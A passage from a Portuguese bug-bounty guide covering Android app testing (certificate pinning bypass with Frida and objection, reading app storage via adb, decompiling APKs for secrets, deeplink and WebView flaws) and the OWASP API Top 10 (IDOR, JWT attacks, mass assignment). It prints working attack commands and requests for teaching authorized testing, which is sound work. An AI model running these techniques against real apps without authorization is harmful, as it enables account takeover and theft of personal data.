# Confirma a conexão (lista processos do device pela USB)
frida-ps -U
```

> A flag `-U` quer dizer **USB** (conecta no device/emulador). `frida-ps -U` listando processos = Frida funcionando.

Agora, **derrubar o pinning** — o jeito mais fácil é com o **objection**, que é uma camada por cima do Frida com comandos prontos:

> **objection**: ferramenta construída sobre o Frida que dá comandos prontos ("explore" um app sem escrever script) — bypass de pinning, ler armazenamento, listar activities, tudo num REPL. Glossário

```
pip install objection

# "Explora" o app e cai num REPL interativo (use o package name exato)
objection -g com.exemplo.app explore

# Dentro do REPL do objection:
android sslpinning disable
```

Quando funciona, você vê no console mensagens como `Custom TrustManager ready, overriding SSLContext.init()` e, se o app usa a lib OkHttp, `Found okhttp3.CertificatePinner, overriding CertificatePinner.check()`. Tradução: o objection **engatou** nas funções de validação e fez elas sempre dizerem "ok". O tráfego volta a aparecer no Burp.

Alternativa só com Frida (sem objection): use o script clássico da comunidade `frida-multiple-unpinning` (do akabe1). A forma mais limpa é puxá-lo direto do **Frida CodeShare** (repositório oficial de scripts da comunidade) — assim você não precisa ter o `.js` salvo localmente:

```
# --codeshare baixa o script pelo nome; -U USB; -f inicia o app do zero (spawn)
# --no-pause: ESSENCIAL — sem isso o Frida sobe o app "congelado" e o hook não roda
frida --codeshare akabe1/frida-multiple-unpinning -U -f com.exemplo.app --no-pause

# Se preferir um arquivo local (.js já baixado), o equivalente é:
#   frida -U -f com.exemplo.app -l frida-multiple-unpinning.js --no-pause
```

> **Por que `--no-pause`?** Ao usar `-f` (spawn), o Frida inicia o app **suspenso** pra você ter tempo de injetar o hook *antes* do código rodar. O unpinning precisa rodar nesse momento — mas você também precisa **soltar** o processo. `--no-pause` retoma a execução automaticamente após carregar o script. (Sem ele, ou você roda `%resume` no REPL, ou o app fica travado na tela de splash.)
>
> Pinning robusto (Flutter, implementações nativas customizadas) pode resistir ao script genérico. Aí o caminho é abrir o app no jadx, achar a função que faz o pin e escrever um **hook específico**. Mas, pra 90% dos apps, `objection ... android sslpinning disable` resolve.

E o iOS?

A lógica é a mesma (interceptar a API), porém exige um **iPhone com jailbreak** (ou simulador, com limitações). Instala-se o CA do Burp em *Settings → General → VPN & Device Management* e depois **ativa-se a confiança total** em *Settings → General → About → Certificate Trust Settings*. O Frida/objection também roda em iOS jailbroken (`frida-ps -U`, `objection ... ios sslpinning disable`). O ecossistema é mais fechado e caro (precisa de hardware/jailbreak), por isso a maioria começa por Android — mas o **mindset é idêntico**.

O mapa OWASP: Mobile Top 10 + MASVS

Antes de caçar, vale ter o mapa oficial na cabeça. A OWASP mantém dois materiais que andam juntos:

OWASP Mobile Top 10 (edição 2024) — as 10 classes de risco mais comuns:

#	Risco	Em uma frase
M1	Improper Credential Usage	Credenciais hardcoded, mal guardadas ou reusadas
M2	Inadequate Supply Chain Security	SDKs/libs de terceiros comprometidos ou inseguros
M3	Insecure Authentication/Authorization	Autn/autz feita errado (muitas vezes **na API**)
M4	Insufficient Input/Output Validation	Não valida entrada/saída (injeções, etc.)
M5	Insecure Communication	Cleartext, TLS fraco, sem pinning
M6	Inadequate Privacy Controls	Coleta/exposição indevida de dados pessoais
M7	Insufficient Binary Protections	Sem anti-tamper/obfuscation (facilita engenharia reversa)
M8	Security Misconfiguration	Componentes exportados, debug ligado, configs frouxas
M9	Insecure Data Storage	Dados sensíveis salvos em claro no aparelho
M10	Insufficient Cryptography	Cripto fraca ou mal aplicada

OWASP MASVS (Mobile Application Security Verification Standard) é o **padrão de verificação** — o "checklist do que deve estar seguro", dividido em grupos de controle: **MASVS-STORAGE** (armazenamento), **MASVS-CRYPTO** (cripto), **MASVS-AUTH** (autn/autz), **MASVS-NETWORK** (comunicação), **MASVS-PLATFORM** (interação com a plataforma: deeplinks, WebView, IPC), **MASVS-CODE** (qualidade/dependências) e **MASVS-RESILIENCE** (resistência a engenharia reversa). O **MASTG** (Testing Guide) é o **passo a passo** de como testar cada um — é a sua bíblia técnica gratuita.

Achados comuns (e como caçar cada um)

1. Insecure data storage (M9) — o que o app salva no aparelho

Apps guardam coisas localmente. O bug é guardar **dado sensível em claro** (token, senha, PII, PAN de cartão). Onde olhar (com o app aberto e logado, num device rootado):

- **SharedPreferences** (Android) — XMLs em `/data/data/<package>/shared_prefs/`.
- **Bancos SQLite** — `/data/data/<package>/databases/`.
- **Arquivos diversos** — `/data/data/<package>/files/`, cache.
- **Keychain (iOS) / Keystore (Android)** — o lugar **certo** pra segredos; o bug é **não** usar isso.

```
# Explorar o storage do app pelo objection (sem precisar achar os paths na mão)
objection -g com.exemplo.app explore
# no REPL:
```

```
env                              # mostra os diretórios do app (data, cache, files…)
cd /data/data/com.exemplo.app/shared_prefs
ls                               # lista os XMLs de SharedPreferences
filesystem cat prefs.xml         # imprime o conteúdo do arquivo (segredos em claro?)
android keystore list           # lista entradas do Android KeyStore
```

> Versões antigas do objection tinham um atalho `android shrpref dump`; ele foi **removido** das releases atuais. Hoje o caminho é `env` + navegar no `filesystem` (`ls` / `filesystem cat`), como acima.

```
# Ou na unha, via adb. Duas formas, dependendo do app/device:
# (a) app DEBUGGABLE (android:debuggable="true") — run-as funciona SEM root:
adb shell run-as com.exemplo.app cat /data/data/com.exemplo.app/shared_prefs/prefs.xml
# (b) app de produção (não-debuggable) — precisa de root pra ler /data/data alheio:
adb shell "su -c cat /data/data/com.exemplo.app/shared_prefs/prefs.xml"
```

> `run-as` só te dá acesso ao sandbox de apps marcados como **debuggable** no manifesto (raro em produção) e **não exige root**. Pra um app de loja num device rootado, use `su -c`. É um erro comum tentar `run-as` num app de produção e levar `run-as: package not debuggable`.

O que a tela mostraria: um `prefs.xml` com algo como `<string name="auth_token">eyJhbGci...</string>` ou `<string name="user_password">Senha123</string>` em **texto claro**. Token persistido em claro num device que pode ser roubado/clonado = achado válido (impacto depende do que o token destrava).

2. Hardcoded secrets / API keys no APK (M1) — decompilando o app

Esse é o **pão com manteiga** do iniciante em mobile, e rende rápido. Devs esquecem chaves dentro do app achando que "ninguém vai abrir". Mas o APK é só um ZIP, e decompilar é trivial.

> **jadx**: decompilador que transforma o bytecode Dalvik (`.dex`) do APK de volta em **Java legível** — tem versão CLI (`jadx`) e GUI (`jadx-gui`). **apktool**: descompacta o APK em recursos + **smali** (assembly do Dalvik) e remonta — bom pra ler `AndroidManifest.xml` e `res/`. Glossário

Fluxo de caça:

```
# 1. Pegue o APK (do device, se já instalado)
adb shell pm path com.exemplo.app          # mostra o caminho do base.apk
adb pull /data/app/.../base.apk app.apk
```

```
# 2. Decompile pra Java e abra no GUI pra navegar
jadx-gui app.apk
# (ou via CLI, jogando a saída numa pasta)
jadx -d app_src app.apk

# 3. Descompacte recursos + manifesto com apktool
apktool d app.apk -o app_decoded
```

Agora **grep tudo** atrás de segredos e endpoints. Inclusive em apps **híbridos** (Cordova/Ionic/React Native), onde a lógica vive num bundle JavaScript (`assets/www/.../main.js` , `index.android.bundle`):

```
# Procura padrões de segredo no código decompilado e nos assets
grep -rniE "api[_-]?key|secret|password|token|authorization|bearer" app_src/
app_decoded/

# O velho confiável: strings extrai literais ASCII de qualquer arquivo binário
strings app.apk | grep -iE "https?://|api[_-]?key|AKIA|firebaseio|amazonaws"
```

Caso real-fictício: num app Android de funcionários de `app.exemplo.com` , você abre o `assets/www/build/main.js` no jadx-gui e encontra duas constantes em claro:

```
// main.js (bundle do app híbrido) — segredos hardcoded
var LOGIN_URL = "https://api.exemplo.com/v1/login";
var API_KEY_PRINCIPAL = "ak_live_REDACTED_xxxxxxxxxxxx";   // <- chave de API em claro
var API_KEY_BACKOFFICE = "ak_bo_REDACTED_yyyyyyyyyyyy";    // <- chave administrativa
```

Com `API_KEY_BACKOFFICE` você bate direto na API por trás e acessa dados administrativos que jamais deveriam estar ao alcance do app do cliente. Report: "*chave administrativa hardcoded no bundle JS do APK permite acesso não autorizado à API de backoffice*". Severidade conforme o que a chave destrava (aqui, **alto** — CVSS v3.1 **6.5** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` ; CVSS v4.0 **7.1** `AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` — confidencialidade alta; a chave funciona como credencial de baixo privilégio que qualquer um extrai do APK, daí `PR:L`).

> **Variação que paga:** às vezes o que vaza não é uma key, é um **host interno esquecido** (ex.: `constants.baseURL = "https://app-antigo.herokuapp.com"`). Se esse host estiver **órfão** (provedor não reclamado), vira subdomain takeover. Já vi APK render dois bugs de uma vez: secret + takeover.

3. Insecure communication (M5) — cleartext e ausência de pinning

- **Cleartext HTTP:** o app manda dado sensível em `http://` (sem TLS). Procure no manifesto/ `network_security_config` : `android:usesCleartextTraffic="true"` ou `<cleartextTrafficPermitted="true">` . Confirme no Burp vendo a request em claro.

- **Sem pinning:** não é bug por si só, mas vale notar (e foi o que te deixou interceptar fácil). Pinning **ausente** facilita ataques MITM (*Man-in-the-Middle* — alguém na mesma rede se põe "no meio" e lê/altera o tráfego) em redes hostis; só costuma virar report quando combinado com dado sensível em trânsito.

4. Exported components e deeplinks inseguros (M8/M3) — caminho pro ATO

Apps Android expõem **componentes** (Activities, Services, BroadcastReceivers, ContentProviders) que **outros apps** podem chamar. Se um componente sensível está `exported` sem proteção, um app malicioso (ou um link) pode acioná-lo.

> **Deeplink**: uma URL especial (ex.: `exemploapp://...` ou `https://exemplo.com/...` via App Links) que **abre direto uma tela do app**. É ótimo pra UX — e perigoso quando a tela aberta confia cegamente no que veio na URL. Glossário

Onde olhar: o `AndroidManifest.xml` (extraído com apktool). Procure `android:exported="true"` e `<intent-filter>` com `<data android:scheme="...">` (deeplinks) e a categoria `android.intent.category.BROWSABLE` (significa que um **link no navegador** consegue abrir).

```
<!-- AndroidManifest.xml — activity exportada que aceita deeplink (sinal de alerta) -->
<activity android:name=".LoginActivity" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="exemploapp" android:host="auth" />   <!-- exemploapp://
auth?... -->
  </intent-filter>
</activity>
```

Teste disparando o componente/deeplink **via adb** (simulando o que um app/link malicioso faria):

```
# Iniciar uma activity exportada diretamente
adb shell am start -n com.exemplo.app/.AdminActivity

# Disparar um deeplink, injetando parâmetros controlados pelo atacante
adb shell am start -W -a android.intent.action.VIEW \
  -d "exemploapp://auth?token=ATTACKER_TOKEN&user_id=1001" com.exemplo.app
```

Por que isso vira ATO: se a `LoginActivity` recebe um `token` / `user_id` pela deeplink e **confia** nele sem validar a origem, um link de phishing (`exemploapp://auth?token=...`) pode **logar a vítima na conta do atacante** (e fazê-la "guardar" dados onde o atacante vê) ou o contrário — sobrescrever a sessão. É um clique pra ATO. (A mecânica de takeover está detalhada no capítulo 12.)

> **Ferramenta dedicada:** o **drozer** automatiza a varredura de componentes exportados (`run app.package.attacksurface` , `run app.activity.start ...`). É o "scanner de superfície de ataque" do device.

5. WebView perigosa (M8) — quando o app embute um navegador

Muitos apps abrem conteúdo web dentro de uma **WebView**. Dois pecados clássicos:

a) `addJavascriptInterface` **— ponte JS → Java.** O dev expõe um objeto Java pro JavaScript da página chamar. Se a WebView carrega **conteúdo controlável** (URL de terceiro, deeplink, HTTP sem TLS sujeito a MITM), esse JS pode invocar métodos nativos.

```
// VULNERÁVEL: expõe um objeto nativo ao JS da página
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new NativeBridge(), "AndroidBridge");
```

> **CVE** (Common Vulnerabilities and Exposures): identificador público de uma falha conhecida (ex.: CVE-2012-6636).

Historicamente (antes do **API 17 / Android 4.2**, CVE-2012-6636) isso era **RCE direto** (Remote Code Execution — rodar código arbitrário no dispositivo da vítima, o pior cenário) via reflection. Do API 17 em diante, **só métodos anotados com** `@JavascriptInterface` ficam expostos — o que reduz o risco, mas **não elimina**: se o bridge tem um método poderoso (ex.: que pega um token, lê um arquivo, abre uma URL), o JS malicioso ainda abusa dele. (E se o app mira API < 17, ou usa um SDK compilado pra API < 17, o RCE clássico volta.)

> **LFI** (Local File Inclusion): ler arquivos locais via parâmetro (ex.: ?file=../../etc/passwd). Em WebView, risco de ler arquivos do sandbox do app.

b) `setAllowFileAccess(true)` **+ carregamento de URL externa.** Permite que a página acesse `file://` no sandbox do app — combinado com um handler que lê arquivos, vira **leitura arbitrária** de dados do app (parecido com LFI, mas no device). Procure `setAllowFileAccess` , `setAllowUniversalAccessFromFileURLs` , `setAllowFileAccessFromFileURLs` no código.

O pulo do gato: interceptou → ataque a API com TODO o arsenal web

Aqui é onde o dinheiro está. **Depois que o tráfego cai no Burp** (CA de sistema + pinning derrubado), o "app mobile" desaparece — você está olhando requests HTTP comuns. **Faça exatamente o que faria num alvo web:**

1. **Mapeie a API.** O Burp já registrou os endpoints conforme você navegou. Anote padrões (`/api/v1/...`), parâmetros, IDs.
2. **IDOR / BOLA** (capítulo 10): toda request que carrega "um recurso meu" — troque o ID no Repeater. Apps mobile **adoram** mandar `userId` / `accountId` no corpo, e o backend confia.

```
POST /api/v1/account/statement HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_da_Conta_B>
Content-Type: application/json

{"accountId": 1001}   # <- 1001 é da Conta A; veio do app, o servidor confia?
```

3. **BFLA** (capítulo 10): a API mobile às vezes expõe endpoints administrativos que o **app esconde no front** — chame-os com um token de usuário comum.
4. **Business logic** (capítulo 20): manipule valores que o app "trava" na tela (preço, quantidade, status de pagamento, cupom). O servidor revalida?
5. **Mass assignment**: adicione campos extras ao JSON (`"role":"admin"` , `"isVerified":true`) e veja se o backend aceita.

> **Mass assignment**: quando a API liga automaticamente os campos do JSON aos atributos do objeto no servidor — se você injeta um campo que não deveria controlar (ex.: `role`), pode escalar privilégio. Glossário
>
> **Regra de ouro do mobile:** o app é só uma "capa" da API. Tudo que você aprendeu de web vale **igualzinho** — e a API mobile costuma ser **menos testada** que o site, então sobram IDOR e BFLA. (Uma trilha dedicada a API vem no capítulo de API Security.)

Caso real-fictício de ponta a ponta: app de uma fintech, `app.exemplo.com` . (1) Crio AVD "Google APIs", instalo o CA do Burp como system CA. (2) O app não conecta → `objection -g com.exemplo.app explore` → `android sslpinning disable` . (3) Tráfego aparece: vejo `POST /api/v1/billing/statement` com `{"accountId": 50231}` . (4) No Repeater, troco pra `50230` com **meu** token (Conta B) → volta a fatura de **outro cliente** (nome, CPF, valor). IDOR confirmado na API mobile. (5) Intruder no `accountId` → centenas de 200 com clientes distintos = **vazamento de PII em escala**. O "bug mobile" era, na real, um IDOR clássico de API. Severidade **alta** — o atacante precisa de **uma conta qualquer** (usa o token da Conta B), então `PR:L` : CVSS v3.1 **6.5** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` e CVSS v4.0 **7.1** `AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` (confidencialidade alta; muitos programas elevam pra **crítica** na prática pelo volume de PII e o enquadramento de LGPD,

mesmo o score base ficando em "alto"). (Capítulo 02 pra calibrar; report no formato do capítulo 03.)

Defesa em camadas

A defesa de mobile é a soma de "device" + "servidor" — e, como sempre, **o servidor é quem manda**.

1. A API é a fronteira de verdade (a camada que mais importa):

```
// Node/Express — NUNCA confie no accountId que veio do app; derive do token
app.post("/api/v1/billing/statement", auth, async (req, res) => {
  // ERRADO: const acc = await Account.findById(req.body.accountId);
  const acc = await Account.findOne({ _id: req.body.accountId, ownerId: req.user.id });
  if (!acc) return res.sendStatus(404);     // checagem de dono (object-level)
  return res.json(acc.statement);
});
```

2. Não guarde segredo no app. API key embutida **sempre vaza** (o APK é público). Use fluxos de token por usuário (OAuth), segredos só no backend, e **Android Keystore / iOS Keychain** pra material sensível no device — nunca SharedPreferences/ `NSUserDefaults` em claro.

3. Comunicação: TLS obrigatório (`usesCleartextTraffic="false"`), `network_security_config` restrito, e **pinning** (atrapalha o atacante casual — mas saiba que **não substitui** autorização no servidor; pinning só protege o canal, não a regra de negócio).

4. Plataforma: marque `android:exported="false"` em tudo que não precisa ser público; **valide a origem e os parâmetros** de deeplinks (não confie no `token` / `user_id` da URL); em WebView, `setJavaScriptEnabled(false)` se não precisar, **evite** `addJavascriptInterface` (e, se usar, exponha o mínimo com `@JavascriptInterface`), `setAllowFileAccess(false)` , e nunca carregue URL controlável por terceiro.

5. Binário: ofuscação (R8/ProGuard) e detecção de root/Frida **elevam o custo** do atacante — mas são **defesa em profundidade**, não a correção. Quem trata o app como confiável e a API como burra está vulnerável por definição.

> **O que NÃO basta:** esconder o endpoint admin só no app, "confiar" que ninguém decompila o APK, fazer pinning e achar que resolveu autorização, ou validar regra de negócio no cliente. **Tudo que importa, valide no servidor.**

Ferramentas + labs legais

Ferramentas (todas gratuitas/open-source):

- **Android Studio / AVD** — emulador (use imagem "Google APIs" pra ter root).

- **adb** — controle do device (Platform Tools).
- **Burp Suite** — interceptar e atacar a API (Repeater, Intruder).
- **jadx / jadx-gui** — decompilar APK pra Java legível.
- **apktool** — descompactar recursos + smali (ler `AndroidManifest.xml`).
- **Frida** — instrumentação dinâmica (hooks em runtime).
- **objection** — Frida "com baterias": `android sslpinning disable`, dump de storage, etc.
- **drozer** — varredura de componentes exportados.
- **MobSF (Mobile Security Framework)** — análise **estática + dinâmica automatizada**; joga o APK e ele já lista secrets, permissões, componentes exportados, cleartext. Ótimo pra um **primeiro scan** que aponta onde focar.

Labs autorizados pra praticar:

- **OWASP MASTG Crackmes (UnCrackable Apps)** — desafios oficiais de engenharia reversa/pinning (Level 1/2/3).
- **InsecureBankv2** (MASTG-APP-0010) — banco vulnerável de propósito (storage, logging, exported, etc.).
- **DIVA Android** — "Damn Insecure and Vulnerable App", 13 desafios clássicos.
- **PortSwigger / TryHackMe / HackTheBox** têm trilhas mobile e de API que complementam.

Checklist do caçador (mobile)

- [ ] Subi um AVD "Google APIs" (ou device rootado) e o `adb devices` enxerga.
- [ ] Proxy do device apontado pro Burp; CA do Burp instalado como **system CA** (não só user).
- [ ] App conectou? Se não, **derrubei o pinning** (`objection ... android sslpinning disable` ou Frida).
- [ ] Decompilei o APK (jadx) e descompactei (apktool); rodei `grep` / `strings` atrás de **secrets/keys/hosts**.
- [ ] Li o `AndroidManifest.xml`: `exported="true"`, deeplinks (`BROWSABLE`), `usesCleartextTraffic`, `network_security_config`.
- [ ] Conferi o **storage** do app (SharedPreferences/SQLite) por token/PII em claro.
- [ ] Testei **deeplinks/activities exportadas** via `adb am start` (pensando em ATO).
- [ ] Achei WebView? Procurei `addJavascriptInterface` e `setAllowFileAccess`.
- [ ] **O pulo do gato:** levei o tráfego pro Repeater e ataquei a API com **IDOR/BFLA/ business logic/mass assignment** (2 contas!).
- [ ] Rodei o **MobSF** pra não deixar nada óbvio passar.

Pegadinhas / o que NÃO funciona

- **Instalar o CA só "como usuário" e esperar interceptar tudo.** No Android 7+ a maioria dos apps **ignora** o user CA. Sem system CA (ou Magisk), você só vê o navegador.

- **Achar que pinning = bug.** Pinning **ausente** raramente é report sozinho; pinning **presente** é só um obstáculo que você contorna pra testar a API.
- **Reportar "API key no APK" sem impacto.** Uma key de serviço público (ex.: Google Maps com restrição de pacote) muitas vezes é **informativa**. Mostre o que a key **destrava** de fato.
- **Esquecer que o emulador é detectável.** Alguns apps barram emulador/root. Use device físico ou contorne com hooks (objection: `android root disable`).
- **Parar no app.** O app raramente é o prêmio — a **API por trás** é. Não interceptou nada de interessante? Talvez o app só sirva conteúdo estático e o ouro esteja em outro endpoint.

O que você precisa lembrar

- **Mobile bug bounty ≈ testar a API por trás** + um punhado de falhas de device.
- O trabalho "novo" é só **colocar o Burp no meio**: system CA (Android 7+) + **bypass de pinning** (Frida/objection). Depois disso, é web.
- Achados de device clássicos: **secrets no APK** (jadx/strings), **data storage** em claro, **deeplink/exported** inseguro (→ ATO), **WebView** perigosa.
- **A autorização real é no servidor.** Sempre.

> **Dica de ouro:** quando bater o "não sei mobile", lembre — **decompile com jadx e grep por** `key|secret|token|http`, e **jogue o tráfego no Burp**. Esses dois movimentos sozinhos já acham a maioria dos bugs de app mobile. O resto é o arsenal web que você já tem.

Nota ética

Tudo aqui é pra **alvos autorizados**: programas de bug bounty com app **no escopo**, pentests contratados e os **labs legais** (MASTG Crackmes, InsecureBankv2, DIVA) — que existem justamente pra você treinar pinning, decompilação e exploração sem tocar em ninguém. Decompilar e instrumentar **o app de outra pessoa fora de escopo** é violação de propriedade/lei. Reporte com responsabilidade, anonimize PII nas evidências e use o conhecimento pra deixar os apps mais seguros.

Referências

- OWASP Mobile Application Security (MAS) — MASVS, MASTG, MASWE
- OWASP Mobile Top 10 (2024) · lista dos riscos
- OWASP MASTG — UnCrackable Crackmes · InsecureBankv2 (MASTG-APP-0010) · DIVA (MASTG-APP-0007)
- Android Developers — Network security configuration · Changes to Trusted CAs in Android Nougat

- Frida — documentação Android · frida-multiple-unpinning (CodeShare, akabe1) · objection (MASTG-TOOL-0029)
- jadx · apktool · MobSF
- WithSecure — WebView addJavascriptInterface RCE

Segurança de APIs: o OWASP API Security Top 10 na prática (REST e GraphQL)

A tela mente, a resposta não

Você abre o painel de uma plataforma financeira. Na tela aparece o seu nome, o seu saldo, três faturas. Bonitinho. Mas a tela é só o **rosto** — quem trabalha de verdade é a API por baixo, e o que ela devolve quase nunca é exatamente o que a tela mostra. Muita vez ela devolve **mais**: o CPF que o front escondeu, um campo `role` que o JavaScript ignorou, um `internalNotes` que ninguém deveria ler.

Hoje, **a maior parte da superfície de ataque de qualquer produto é API**. App de celular? Conversa com API. SPA em React? Conversa com API. Integração com parceiro? API de novo. Cada tela virou um amontoado de chamadas `fetch`/GraphQL, e cada chamada é uma porta. Por isso a OWASP mantém um Top 10 **só de API**, separado do OWASP Top 10 clássico — porque os erros de API têm cara própria.

Neste capítulo a gente percorre o **OWASP API Security Top 10 — edição 2023** inteiro, com um exemplo prático de cada classe, uma seção dedicada a **GraphQL** (que tem armadilhas exclusivas) e a metodologia de como **achar e testar** uma API do zero. Vários capítulos do guia já tocaram pedaços disso — aqui a gente costura tudo na visão "API first".

> **API** (Application Programming Interface): o "contrato" pelo qual dois sistemas conversam — geralmente HTTP devolvendo JSON. É o back-end falando direto, sem a maquiagem do front. Mais no Glossário.

O que muda quando o bug é "de API"

Analogia: um site tradicional é um restaurante onde o garçom (servidor) monta o prato e te entrega pronto. Uma API é um **balcão de self-service**: o servidor te entrega os ingredientes crus e confia que você vai montar o prato "do jeito certo". O atacante não monta o prato certo — ele pega ingredientes que não são dele, adiciona temperos proibidos (`isAdmin:true`) e enche o prato até a cozinha pegar fogo.

Três características fazem o bug de API ser diferente:

1. **Não tem "tela" pra te frear.** No front, o botão de admin some pra você. Na API, o endpoint `/admin/...` continua lá, respondendo — só faltou alguém checar se você podia.
2. **A resposta é crua.** O JSON traz tudo que o back-end serializou. Se o dev mandou o objeto inteiro, você vê o objeto inteiro — campos sensíveis incluídos.
3. **É feita pra automação.** API existe pra ser chamada em loop, em escala. O que é "uma tela por vez" no browser vira "10.000 requisições por minuto" no Burp Intruder.

> **Serializar**: transformar um objeto interno (um registro do banco, por exemplo) em JSON pra mandar na resposta. O perigo é serializar o objeto **inteiro** em vez de escolher campo a campo. Glossário.

O Top 10 de API, em uma tabela

Esta é a edição **2023** (a vigente). Decore as siglas — elas viram o vocabulário do report.

ID	Nome oficial	Em uma frase
API1	Broken Object Level Authorization (BOLA)	IDOR em API: acesso a **objeto** de outro usuário
API2	Broken Authentication	Login/token frágil (JWT mal validado, sem expiração)
API3	Broken Object **Property** Level Authorization	**Mass Assignment** + **Excessive Data Exposure** (campos a mais)
API4	Unrestricted Resource Consumption	Sem rate limit / paginação → DoS e custo
API5	Broken Function Level Authorization (BFLA)	Acesso a **função** de outro perfil (ex.: ação de admin)
API6	Unrestricted Access to Sensitive Business Flows	Automatizar um **fluxo de negócio** sensível (bots, scalping)
API7	Server Side Request Forgery (SSRF)	Fazer a API requisitar uma URL que você controla
API8	Security Misconfiguration	CORS frouxo, debug ligado, headers faltando, defaults
API9	Improper Inventory Management	APIs antigas/shadow, `/v1` esquecida, swagger exposto
API10	Unsafe Consumption of APIs	Confiar cegamente no dado que **outra** API te devolve

Repare em uma coisa: **três das dez são controle de acesso** (API1, API3, API5). Não é coincidência — é onde está o dinheiro. Já cobrimos a base de controle de acesso em capítulo de IDOR/BOLA/BFLA; aqui a gente recapitula no contexto de API e aprofunda o resto.

API1 — Broken Object Level Authorization (BOLA)

É o **IDOR**, com nome de API. É o item **número 1** do ranking e, na prática, a falha que mais aparece e mais paga.

> **IDOR** (Insecure Direct Object Reference): você troca um identificador na requisição (`id=1` por `id=2`) e acessa o dado de outra pessoa porque o servidor não checou se aquele objeto era seu. Glossário.

A raiz é sempre a mesma: o servidor recebe um identificador de objeto do cliente e **não checa se aquele objeto é seu**.

```
GET /api/v1/Usuario/usera HTTP/2
Host: alvo.com
Authorization: Bearer <seu_token>
```

Troca `usera` por `userb` no Repeater e, se voltar o dado do `userb`, é BOLA confirmado. O identificador nem sempre é um `id` numérico óbvio — vi muito caso com `cpf`, `idProduto`, `chargeId`, `NroConta`. Exemplo de IDOR no corpo de um POST:

```
POST /api/v1/Monetario/detalhe HTTP/2
Host: alvo.com
Authorization: Bearer <seu_token>
Content-Type: application/json

{"tipoProduto":1,"idProduto":2}   # <- troca o idProduto e lê o seguro de outra pessoa
```

> **A tela pode dizer "não", o back-end dizer "sim".** Em muitos casos o front mostra "Usuário não encontrado", mas a API responde `HTTP 200` com `true` e executa a operação no banco. **Sempre olhe a resposta crua**, não a tela.
>
> **Severidade (BOLA lendo PII em escala):** quando dá pra enumerar e vazar dado pessoal de **qualquer** cliente autenticado (leitura, sem alterar nada), uma base típica fica em **CVSS v3.1 6.5 (Médio)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` — e **CVSS v4.0 7.1 (Alto)** — `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`. O **v4.0 pune mais** o vazamento de confidencialidade, e a escala (todas as contas) costuma empurrar a classificação do programa pra cima. Score é ponto de partida — argumente o **impacto** (PII + escala + LGPD).

A teoria completa de IDOR/BOLA — enumeração, IDs mascarados, troca de token — está no capítulo dedicado: **capítulo de IDOR/BOLA/BFLA**.

API2 — Broken Authentication

Aqui o problema é o **mecanismo que prova quem você é**: login, recuperação de senha, e principalmente **token**. Os clássicos:

- **Endpoint de senha sem autenticação.** Existe `POST /autenticacao/api/v1/resetar-senha` que troca a senha de **qualquer** usuário sem exigir sessão válida nem código real. Crítico, ATO direto — em **CVSS v3.1** isso é **9.1 (Crítico)** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`); o vetor equivalente em **CVSS v4.0** é `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`, também faixa **Crítico**.

> **ATO** (Account Takeover / tomada de conta): você consegue assumir o controle da conta de outra pessoa — o tipo de impacto que mais paga em bug bounty. Glossário.

- **Sem rate limit no login** → brute force de credencial ou de OTP.

> **OTP** (One-Time Password): código de uso único e curta validade enviado por SMS/app (o "código de verificação"). Sem rate limit, dá pra adivinhá-lo na força bruta. - **JWT mal validado.** Esse merece um zoom.
>
> **JWT** (JSON Web Token): um token no formato `header.payload.signature`, cada parte em Base64URL. O `payload` carrega claims (ex.: `{"sub":"123","role":"user"}`) e a `signature` garante que ninguém adulterou. Detalhe no Glossário.

O `payload` de um JWT é **só Base64, não é criptografia** — qualquer um decodifica e lê. A segurança está na **assinatura**. Os erros campeões:

```
# Decodificar o payload de um JWT (a "parte do meio") — é só base64url, não tem segredo nenhum
echo 'eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciJ9' | base64 -d
# -> {"sub":"123","role":"user"}
```

Falha no JWT	Ataque
`"alg":"none"` aceito	Remover a assinatura e o servidor aceita o token sem verificar nada
Confusão de algoritmo (RS256 → HS256)	Assinar com a **chave pública** (que é conhecida) tratando-a como segredo HMAC
Segredo fraco em HS256	Quebrar o segredo offline (`hashcat -m 16500`) e forjar qualquer token
Sem checar expiração / sem revogação	Token vazado vale pra sempre

Forjar/abusar de JWT e o passo a passo de Account Takeover ficam no capítulo **capítulo de Account Takeover**.

API3 — Broken Object Property Level Authorization

Esse é o mais subestimado e provavelmente o que vai te render report fácil. O nome assusta, mas é simples: enquanto o **API1 (BOLA)** é sobre acessar o **objeto inteiro** errado, o **API3** é sobre acessar a **propriedade (campo) errada** do objeto — de leitura **ou** de escrita. Daí ele junta dois irmãos:

3a) Mass Assignment — escrever campo que não era pra você

> **Mass Assignment**: quando o framework "pega tudo" do JSON da requisição e joga direto nos atributos do objeto/modelo, sem filtrar. Se você adicionar um campo a mais, ele cola. Glossário.

A ideia é mandar **mais campos do que o formulário envia**. O dev fez um endpoint de atualizar perfil esperando `nome` e `telefone`. Mas o modelo `User` também tem `role` e `isAdmin`. Se o back-end faz algo como `user.update(request.body)` sem allowlist, você escala:

```
PATCH /api/v1/users/me HTTP/2
Host: alvo.com
Authorization: Bearer <token_usuario_comum>
Content-Type: application/json

{
  "nome": "Fulano",
  "telefone": "11999999999",
  "role": "admin",          # <- campo que a tela NUNCA mostra
  "isAdmin": true           # <- chuta nomes prováveis e veja se cola
}
```

Como descobrir os nomes dos campos? Olhe a **resposta** de um `GET` do mesmo objeto — ela costuma listar todas as propriedades (`role` , `isAdmin` , `verified` , `balance` , `accountStatus`). Os campos que aparecem na leitura são candidatos pra escrita. A própria PortSwigger recomenda o ciclo: (1) identificar campos ocultos na resposta, (2) adicioná-los na request, (3) testar com valor inválido pra ver se o servidor "reage" (sinal de que ele lê o campo), (4) explorar com valor válido.

